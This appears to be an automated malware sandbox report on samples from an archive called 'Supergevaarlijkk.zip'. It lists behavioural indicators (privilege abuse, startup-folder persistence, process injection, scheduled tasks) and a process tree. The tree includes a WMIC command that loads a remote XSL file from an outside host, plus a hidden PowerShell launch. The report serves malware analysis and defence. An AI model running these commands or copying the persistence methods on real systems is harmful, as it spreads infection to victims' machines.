Analysis
-
max time kernel
122s -
max time network
126s -
resource
win7v191014
Task
task1
Sample
0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc
Resource
win7v191014
0 signatures
Task
task2
Sample
0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc
Resource
win10v191014
0 signatures
Task
task3
Sample
0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc
Resource
win7v191014
0 signatures
Task
task4
Sample
0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc
Resource
win10v191014
0 signatures
Task
task5
Sample
91B5DB3C0CCBD68BD04C24571E27F99D.msi
Resource
win7v191014
0 signatures
Task
task6
Sample
91B5DB3C0CCBD68BD04C24571E27F99D.msi
Resource
win10v191014
0 signatures
Task
task7
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7v191014
0 signatures
Task
task8
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10v191014
0 signatures
Task
task9
Sample
fe9d72dd4b046bafdd144902ab570297629f83d06afb5a9ba7703382a29d588f.exe
Resource
win7v191014
0 signatures
Task
task10
Sample
fe9d72dd4b046bafdd144902ab570297629f83d06afb5a9ba7703382a29d588f.exe
Resource
win10v191014
0 signatures
General
-
Target
Supergevaarlijkk.zip
-
Sample
191029-p1j1431a9n
-
SHA256
6cd246cd910e33eaee00e3d138bc49fcf85562b5f8c394d4b092372d25cc0eac
Score
N/A
Malware Config
Signatures
-
Uses Volume Shadow Copy Service COM API 1 IoCs
description ioc pid Process Key opened \Registry\Machine\Software\Classes\CLSID\{E579AB5F-1CC4-44b4-BED9-DE0991FF0623}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49} 1192 powershell.exe -
Drops startup file 1 IoCs
description ioc pid Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nvsmartmaxapp.lnk 1192 powershell.exe -
Suspicious use of AdjustPrivilegeToken 54 IoCs
description pid Process Token: SeShutdownPrivilege 1232 msiexec.exe Token: SeIncreaseQuotaPrivilege 1232 msiexec.exe Token: SeRestorePrivilege 1060 msiexec.exe Token: SeTakeOwnershipPrivilege 1060 msiexec.exe Token: SeSecurityPrivilege 1060 msiexec.exe Token: SeCreateTokenPrivilege 1232 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1232 msiexec.exe Token: SeLockMemoryPrivilege 1232 msiexec.exe Token: SeMachineAccountPrivilege 1232 msiexec.exe Token: SeTcbPrivilege 1232 msiexec.exe Token: SeSecurityPrivilege 1232 msiexec.exe Token: SeTakeOwnershipPrivilege 1232 msiexec.exe Token: SeLoadDriverPrivilege 1232 msiexec.exe Token: SeSystemProfilePrivilege 1232 msiexec.exe Token: SeSystemtimePrivilege 1232 msiexec.exe Token: SeProfSingleProcessPrivilege 1232 msiexec.exe Token: SeIncBasePriorityPrivilege 1232 msiexec.exe Token: SeCreatePagefilePrivilege 1232 msiexec.exe Token: SeCreatePermanentPrivilege 1232 msiexec.exe Token: SeBackupPrivilege 1232 msiexec.exe Token: SeRestorePrivilege 1232 msiexec.exe Token: SeDebugPrivilege 1232 msiexec.exe Token: SeAuditPrivilege 1232 msiexec.exe Token: SeSystemEnvironmentPrivilege 1232 msiexec.exe Token: SeChangeNotifyPrivilege 1232 msiexec.exe Token: SeRemoteShutdownPrivilege 1232 msiexec.exe Token: SeUndockPrivilege 1232 msiexec.exe Token: SeSyncAgentPrivilege 1232 msiexec.exe Token: SeEnableDelegationPrivilege 1232 msiexec.exe Token: SeManageVolumePrivilege 1232 msiexec.exe Token: SeImpersonatePrivilege 1232 msiexec.exe Token: SeCreateGlobalPrivilege 1232 msiexec.exe Token: SeIncreaseQuotaPrivilege 1364 WMIC.exe Token: SeSecurityPrivilege 1364 WMIC.exe Token: SeTakeOwnershipPrivilege 1364 WMIC.exe Token: SeLoadDriverPrivilege 1364 WMIC.exe Token: SeSystemProfilePrivilege 1364 WMIC.exe Token: SeSystemtimePrivilege 1364 WMIC.exe Token: SeProfSingleProcessPrivilege 1364 WMIC.exe Token: SeIncBasePriorityPrivilege 1364 WMIC.exe Token: SeCreatePagefilePrivilege 1364 WMIC.exe Token: SeBackupPrivilege 1364 WMIC.exe Token: SeRestorePrivilege 1364 WMIC.exe Token: SeShutdownPrivilege 1364 WMIC.exe Token: SeDebugPrivilege 1364 WMIC.exe Token: SeSystemEnvironmentPrivilege 1364 WMIC.exe Token: SeRemoteShutdownPrivilege 1364 WMIC.exe Token: SeUndockPrivilege 1364 WMIC.exe Token: SeManageVolumePrivilege 1364 WMIC.exe Token: 33 1364 WMIC.exe Token: 34 1364 WMIC.exe Token: 35 1364 WMIC.exe Token: SeDebugPrivilege 1192 powershell.exe Token: SeDebugPrivilege 2424 wmplayer.exe -
Drops file in system dir 23 IoCs
description ioc pid Process File created C:\Windows\Installer\5c61.msi 1060 msiexec.exe File opened for modification C:\Windows\Installer\5c61.msi 1060 msiexec.exe File created (read-only) C:\Windows\Installer\MSI7DF5.tmp 1060 msiexec.exe File opened for modification C:\Windows\Installer\MSI7DF5.tmp 1060 msiexec.exe File deleted C:\Windows\Installer\MSI7DF5.tmp 1060 msiexec.exe File created (read-only) C:\Windows\Installer\MSI8AC2.tmp 1060 msiexec.exe File opened for modification C:\Windows\Installer\MSI8AC2.tmp 1060 msiexec.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk 1192 powershell.exe File deleted C:\Windows\Installer\MSI8AC2.tmp 1060 msiexec.exe File created (read-only) C:\Windows\Installer\MSI8EE8.tmp 1060 msiexec.exe File opened for modification C:\Windows\Installer\MSI8EE8.tmp 1060 msiexec.exe File deleted C:\Windows\Installer\MSI8EE8.tmp 1060 msiexec.exe File created (read-only) C:\Windows\Installer\MSI97DE.tmp 1060 msiexec.exe File opened for modification C:\Windows\Installer\MSI97DE.tmp 1060 msiexec.exe File deleted C:\Windows\Installer\MSI97DE.tmp 1060 msiexec.exe File created C:\Windows\Installer\5c63.ipi 1060 msiexec.exe File opened for modification C:\Windows\Installer\ 1060 msiexec.exe File deleted C:\Windows\Installer\5c63.ipi 1060 msiexec.exe File created (read-only) C:\Windows\Installer\MSIA74A.tmp 1060 msiexec.exe File opened for modification C:\Windows\Installer\MSIA74A.tmp 1060 msiexec.exe File deleted C:\Windows\Installer\MSIA74A.tmp 1060 msiexec.exe File opened for modification C:\Windows\Installer\5c63.ipi 1060 msiexec.exe File deleted C:\Windows\Installer\5c61.msi 1060 msiexec.exe -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 1060 wrote to memory of 1972 1060 msiexec.exe 27 PID 1972 wrote to memory of 1364 1972 MsiExec.exe 30 PID 1060 wrote to memory of 1912 1060 msiexec.exe 32 PID 1364 wrote to memory of 1192 1364 WMIC.exe 33 PID 1912 wrote to memory of 2160 1912 MsiExec.exe 35 PID 1192 wrote to memory of 2404 1192 powershell.exe 37 PID 2404 wrote to memory of 2424 2404 nvsmartmaxapp.exe 38 PID 2764 wrote to memory of 2796 2764 taskeng.exe 42 PID 2796 wrote to memory of 2832 2796 gup.exe 43 -
Loads dropped DLL 5 IoCs
pid Process 1912 MsiExec.exe 2404 nvsmartmaxapp.exe 2424 wmplayer.exe 2796 gup.exe 2832 iexplore.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1060 msiexec.exe 1192 powershell.exe 2424 wmplayer.exe -
Uses Task Scheduler COM API 1 TTPs 18 IoCs
description ioc pid Process Key opened \Registry\Machine\Software\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49} 1192 powershell.exe Key opened \Registry\Machine\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} 1192 powershell.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD} 1192 powershell.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TreatAs 1192 powershell.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\Progid 1192 powershell.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\ProgID 1192 powershell.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\ProgID\ 1192 powershell.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\ 1192 powershell.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32 1192 powershell.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32 1192 powershell.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32\InprocServer32 1192 powershell.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32\ 1192 powershell.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32\ThreadingModel 1192 powershell.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocHandler32 1192 powershell.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocHandler 1192 powershell.exe Key opened \Registry\Machine\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32 1192 powershell.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32\Class 1192 powershell.exe Key opened \Registry\Machine\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\LocalServer32 1192 powershell.exe -
Uses Volume Shadow Copy WMI provider 1 IoCs
description ioc pid Process Key opened \Registry\Machine\Software\Classes\CLSID\{890CB943-D715-401B-98B1-CF82DCF36D7C}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49} 1192 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1232 msiexec.exe -
Discovering connected drives 3 TTPs 1 IoCs
description ioc pid Process File opened (read-only) \??\C: 1232 msiexec.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1344 conhost.exe 2068 conhost.exe -
Executes dropped EXE 3 IoCs
pid Process 2160 lc8EF5.tmp 2404 nvsmartmaxapp.exe 2796 gup.exe
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\91B5DB3C0CCBD68BD04C24571E27F99D.msi1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Discovering connected drives
PID:1232
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
- Drops file in system dir
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
PID:1060
-
C:\Windows\system32\MsiExec.exeC:\Windows\system32\MsiExec.exe -Embedding B634A551DF859F86E9240F32271586341⤵
- Suspicious use of WriteProcessMemory
PID:1972
-
C:\Windows\System32\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" process get executablepath^,status /format:"http://barbosaoextra.com.br/dados/noticia/7/imagem/noar.xsl"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1364
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-15615658111133415321640779294-713463533-2759988842134842951-1197704532-314222821"1⤵
- Suspicious use of SetWindowsHookEx
PID:1344
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0E7631CBA027D971C91749B2345415261⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
PID:1912
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\Admin.ps1" -WindowStyle Hidden1⤵
- Uses Volume Shadow Copy Service COM API
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
- Drops file in system dir
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Uses Task Scheduler COM API
- Uses Volume Shadow Copy WMI provider
PID:1192
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "18774686867520453695705469911966248280143184437110595509861908542373-1764949845"1⤵
- Suspicious use of SetWindowsHookEx
PID:2068
-
C:\Users\Admin\AppData\Local\Temp\lc8EF5.tmp"C:\Users\Admin\AppData\Local\Temp\lc8EF5.tmp"1⤵
- Executes dropped EXE
PID:2160
-
C:\Users\Admin\AppData\Roaming\poMNJa\nvsmartmaxapp.exe"C:\Users\Admin\AppData\Roaming\poMNJa\nvsmartmaxapp.exe"1⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Executes dropped EXE
PID:2404
-
C:\Program Files (x86)\Windows Media Player\wmplayer.exe"C:\Program Files (x86)\Windows Media Player\wmplayer.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2424
-
C:\Windows\system32\taskeng.exetaskeng.exe {131BEACE-730A-44CC-B203-4B546B87E23F} S-1-5-21-1774239815-1814403401-2200974991-1000:JUEOVPOM\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:2764
-
C:\Users\Admin\AppData\Roaming\poMNJa\gup.exeC:\Users\Admin\AppData\Roaming\poMNJa\gup.exe1⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Executes dropped EXE
PID:2796
-
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe"1⤵
- Loads dropped DLL
PID:2832